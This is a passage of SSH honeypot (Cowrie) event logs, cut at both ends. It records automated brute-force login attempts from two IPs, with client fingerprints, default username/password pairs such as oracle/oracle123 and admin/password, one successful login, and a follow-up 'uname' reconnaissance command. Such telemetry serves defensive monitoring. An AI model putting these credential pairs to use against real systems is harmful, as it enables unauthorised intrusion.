ha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:23.265831Z","src_ip":"47.86.95.62","session":"49c837c28c2a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:24.045553Z","src_ip":"47.86.95.62","session":"49c837c28c2a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:24.665596Z","src_ip":"47.86.95.62","session":"49c837c28c2a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:24.668720Z","src_ip":"47.86.95.62","session":"49c837c28c2a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:24.879738Z","src_ip":"47.86.95.62","session":"49c837c28c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:24.885765Z","src_ip":"47.86.95.62","session":"49c837c28c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38306,"dst_ip":"10.17.0.5","dst_port":22,"session":"7efcb0b1de59","protocol":"ssh","message":"New connection: 47.86.95.62:38306 (10.17.0.5:22) [session: 7efcb0b1de59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:28.197361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:28.202631Z","src_ip":"47.86.95.62","session":"7efcb0b1de59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:28.404441Z","src_ip":"47.86.95.62","session":"7efcb0b1de59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:29.022955Z","src_ip":"47.86.95.62","session":"7efcb0b1de59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:30.228367Z","src_ip":"47.86.95.62","session":"7efcb0b1de59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":61352,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dfc3b80151d","protocol":"ssh","message":"New connection: 165.154.23.26:61352 (159.203.135.109:22) [session: 7dfc3b80151d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:50.431996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:50.441791Z","src_ip":"165.154.23.26","session":"7dfc3b80151d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:50.666199Z","src_ip":"165.154.23.26","session":"7dfc3b80151d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344","message":"login attempt [root/12344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:51.566679Z","src_ip":"165.154.23.26","session":"7dfc3b80151d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:52.793904Z","src_ip":"165.154.23.26","session":"7dfc3b80151d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38292,"dst_ip":"10.17.0.5","dst_port":22,"session":"95e8c1403d41","protocol":"ssh","message":"New connection: 47.86.95.62:38292 (10.17.0.5:22) [session: 95e8c1403d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:53.231976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:54.606727Z","src_ip":"47.86.95.62","session":"95e8c1403d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:24:54.612142Z","src_ip":"47.86.95.62","session":"95e8c1403d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:08.997541Z","src_ip":"47.86.95.62","session":"95e8c1403d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.5","message":"Connection lost after 17.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:10.781115Z","src_ip":"47.86.95.62","session":"95e8c1403d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47084,"dst_ip":"10.17.0.5","dst_port":22,"session":"874e84a754d5","protocol":"ssh","message":"New connection: 47.86.95.62:47084 (10.17.0.5:22) [session: 874e84a754d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:14.368447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:14.475417Z","src_ip":"47.86.95.62","session":"874e84a754d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:14.742954Z","src_ip":"47.86.95.62","session":"874e84a754d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:15.477341Z","src_ip":"47.86.95.62","session":"874e84a754d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:16.684499Z","src_ip":"47.86.95.62","session":"874e84a754d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47096,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d80bba13488","protocol":"ssh","message":"New connection: 47.86.95.62:47096 (10.17.0.5:22) [session: 6d80bba13488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:20.558682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:20.845008Z","src_ip":"47.86.95.62","session":"6d80bba13488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:20.849221Z","src_ip":"47.86.95.62","session":"6d80bba13488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:21.670838Z","src_ip":"47.86.95.62","session":"6d80bba13488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:22.881821Z","src_ip":"47.86.95.62","session":"6d80bba13488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45170,"dst_ip":"10.17.0.5","dst_port":22,"session":"455f7b0483f4","protocol":"ssh","message":"New connection: 47.86.95.62:45170 (10.17.0.5:22) [session: 455f7b0483f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:43.010760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:43.107939Z","src_ip":"47.86.95.62","session":"455f7b0483f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:43.232929Z","src_ip":"47.86.95.62","session":"455f7b0483f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:44.985369Z","src_ip":"47.86.95.62","session":"455f7b0483f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:46.213994Z","src_ip":"47.86.95.62","session":"455f7b0483f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45182,"dst_ip":"10.17.0.5","dst_port":22,"session":"907aecd15ba2","protocol":"ssh","message":"New connection: 47.86.95.62:45182 (10.17.0.5:22) [session: 907aecd15ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:49.459512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:49.464348Z","src_ip":"47.86.95.62","session":"907aecd15ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:49.668473Z","src_ip":"47.86.95.62","session":"907aecd15ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:50.277853Z","src_ip":"47.86.95.62","session":"907aecd15ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:51.484260Z","src_ip":"47.86.95.62","session":"907aecd15ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38420,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d49eec6313","protocol":"ssh","message":"New connection: 47.86.95.62:38420 (10.17.0.5:22) [session: 75d49eec6313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:54.150903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:25:55.078588Z","src_ip":"47.86.95.62","session":"75d49eec6313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 